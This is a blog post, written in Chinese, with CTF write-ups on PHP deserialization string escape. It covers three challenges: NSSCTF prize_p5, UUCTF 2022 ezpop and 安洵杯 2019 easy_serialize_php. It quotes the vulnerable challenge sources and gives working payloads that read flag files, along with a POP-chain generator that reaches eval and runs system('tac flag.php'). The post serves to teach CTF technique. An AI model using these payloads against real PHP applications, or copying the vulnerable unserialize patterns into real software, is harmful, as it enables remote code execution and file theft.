字符串逃逸

  字符串逃逸的本质就是改变序列化字符串的长度,导致反序列化漏洞。
  第一次遇到这种题,是我在做nssctf的prize_p5,接下来看看题型。 

prize_p5

<?php
error_reporting(0);
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

 

  第一种解法是利用了echo new $this->class($this->data)这句话,可以用原生类来解题,这里我就不细讲,网上许多博客都有这种解法。
  第二种解法是字符串逃逸,主要用到了abscond()这个函数,它会在匹配字符串成功时将NSS, CTF, OTL_QAQ, hello替换为hacker,这就使得字符串逃逸成为可能。因为有preg_match("/flag/i",$_POST['email'])所以不能直接email传参/flag。get_object_vars()函数将类中的变量存进数组并返回数组,但仅对类中的public变量有用,其他的都没用。is_array($escape['phone'])检测数组中phone的值是否为数组.这里我们传参name=1";s:5:"phone";a:1:{i:0;s:1:"1";}s:5:"email";s:5:"/flag";},这样序列化后会提前闭和。

  但是name的长度为58与1相差57个字符,在反序列化时虽然会检测到闭合,但会继续匹配,这就没什么作用。这时,abscond()就发挥了作用,它会在序列化后匹配替换。如果我们输入NSS,它将NSS替换为hacker,使得字符串长度增长。如果我们输入19个NSS,使得字符串的长度增加57,那么在反序列化时恰好提前闭合。
  所以我们的payload就是:
  GET:cata=
  POST:name=1NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSS";s:5:"phone";a:1:{i:0;s:1:"1";}s:5:"email";s:5:"/flag";}&phone=&email=
  得到flag:

[UUCTF 2022 新生赛]ezpop

 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

 

  很显然构造pop链nothing::__destruct->output::__toString->youwant::rce。注意这里php版本为7.2.34,并不能增大成员变量的数量来绕过nothing类中的__wakeup函数(这里我也看了其他的博客才知道,看来我还有很长的路要走)。那么这里要使用引用赋值$a=&$b。在$b的值改变时,$a的值也会改变。因为本题要求我们传入data给name赋值,并不能改变其他的变量,所以要使用字符串逃逸。代码如下:

 <?php
class UUCTF{
    public $name;
    public $key;
    public $basedata;
    public $ob;
}
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
    public function __construct(){
        $this->a=&$this->b;
    }
}
class youwant{
    public $cmd;
}
$obj=new UUCTF;
$obj->key="UUCTF";
$b=new nothing;
$b->t=new output;
$b->t->a=new youwant;
$b->t->a->cmd='system("tac flag.php");';
$b=base64_encode(serialize($b));
$obj->basedata=$b;
$obj->name='1';
echo serialize($obj);
?>

 


  得到:  截取1";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}赋值给name,得到name的长度为237,那么此时用字符串逃逸,str_replace()将hacker替换为loveuu!,字符长度加一,那么需要236个hacker。最终的payload为:POST:data=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

先GET传入参数f=phpinfo查看配置文件,发现d0g3_f1ag.php文件,extract($_POST)变量覆盖,可以对$_SESSION['user']和$_SESSION['function']进行修改,但无法对$_SESSION['img']进行修改,注意到这里的SESSION反序列化的过滤,会将php,php3等字符转为空,那么可以利用字符串逃逸。正常SESSON序列化后得到a:3:{s:4:"user";s:0:"";s:8:"function";s:1:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},可以利用字符串逃逸将";s:8:"function";s:1:"Y吞掉,再将s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";添加进来,便可读取文件内容。那么$_SESSION['function']=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},要吞掉";s:8:"function";s:42:"Y,这一段长度为24,则需要6个fl1g,最后的payload:

GET:f=show_image

POST:_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}

需在后面添加一个属性,保证能这正常反序列化。读取文件内容。

将d0g3_f1ag.php换为/d0g3_fllllllag再base64编码读取flag。

 

posted @ 2024-05-11 00:22  duskto  阅读(73)  评论(0)    收藏  举报